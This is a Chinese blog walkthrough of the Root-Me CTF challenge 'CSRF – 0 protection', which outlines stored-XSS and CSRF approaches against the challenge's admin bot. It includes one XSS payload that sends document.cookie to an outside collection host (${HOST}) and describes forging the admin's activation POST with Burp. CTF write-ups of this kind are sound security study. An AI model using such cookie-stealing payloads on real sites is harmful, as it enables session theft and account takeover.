• 如果您想对本站表示支持,请随手点击一下广告即可~
  • 本站致力于提供原创、优秀的技术文章~
  • 有任何疑问或建议 均可以在站点右侧栏处 通过各种方式联系站长哦~
  • CTF – RootMe解题报告 [Web-Client : CSRF – 0 protection]

    渗透测试 EXP 21阅读 0评论

    挑战入口:Root-Me(https://www.root-me.org/en/Challenges/Web-Client/CSRF-0-protection)
      分类目录:Link to …(http://exp-blog.com/2019/01/02/pid-2597/11/)

    已经很直白提示是 CSRF 题型。

    点击 Register 随意注册一个账号,如 exp,密码 123456

    然后点击 Login 登录,登录后点击 Profile 切到个人档案,发现有 4 个选项卡,其中:

    • Contact : 可以发送一条消息给 admin 留言, 有个 robot-admin 会定时轮询查看
    • Profile : 激活当前账号,但是非 admin 无法操作
    • Private : 查看账号激活后信息,这就是最终目标
    • Logout : 登出,没用

    很明显 Contact 就是注入点,且通过抓取 HTTP 请求发现, Email 虽然会校验格式,但是可以不填,而且也不会作为 HTTP 请求的参数发送出去,因此注入点就是 Comment 输入框。

    至此,解此题有两种思路:

    • ① 使用【Web-Client : XSS – Stored 1】的思路把 admin 的 Cookie 发到我们的服务器,窃取其 Cookie 后再激活
    • ② 直接构造 CSRF 伪装 admin 的身份进行激活

    首先试试第 ① 种思路,在 Contact 选项卡的 Comment 输入框构造一个 payloads 提交:

    <srcipt>document.write("<img src='${HOST}?tk='"+document.cookie+" />");</srcipt>

    (其中 ${HOST} 是使用 RequestBin 生成的临时 HTTP 服务器,详见【Web-Client : XSS – Stored 1】,不再赘述)

    提交成功后会提示 Your message has been posted. The administrator will contact you later.

    等了一会, RequestBin 服务器收到了消息,说明我们注入 XSS 成功,但是消息中并没有 admin 的 Cookie ,很可能是 Cookie 启用了 HttpOnly 的缘故,因此第 ① 种思路不可行,改用第 ② 种思路,即 CSRF。

    要执行 CSRF ,即需要令 admin 在读取 Comment 的时候触发一个激活账号的 POST,因此需要先获得这个 POST 请求的格式,再构造我们期望的内容。

    切到 Profile 选项卡,发现 Status 是不可用的,并且点击 submit 后提示 You're not an admin!,不过不影响我们捕获 POST 请求。

    打开浏览器开发者工具,切到 Elements ,把 Status 的 disabled 属性删掉。

    打开 Burp Suite -> Proxy -> HTTP history ,然后点击页面的 submit 按钮,即可捕获到激活账号的 POST 请求。

    利用这个 POST 请求可以构造 payloads 如下,将其拷贝到 Contact 选项卡的 Comment 输入框提交即可:

    多刷新几次 Private 选项卡,等待 robot-admin 触发 payloads,最终得到 flag,完成挑战。


    转载请注明:EXP 技术分享博客 » CTF – RootMe解题报告 [Web-Client : CSRF – 0 protection]

    喜欢 (0) 分享 (0)
    发表我的评论
    取消评论

    表情

    Hi,您需要填写昵称和邮箱!

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址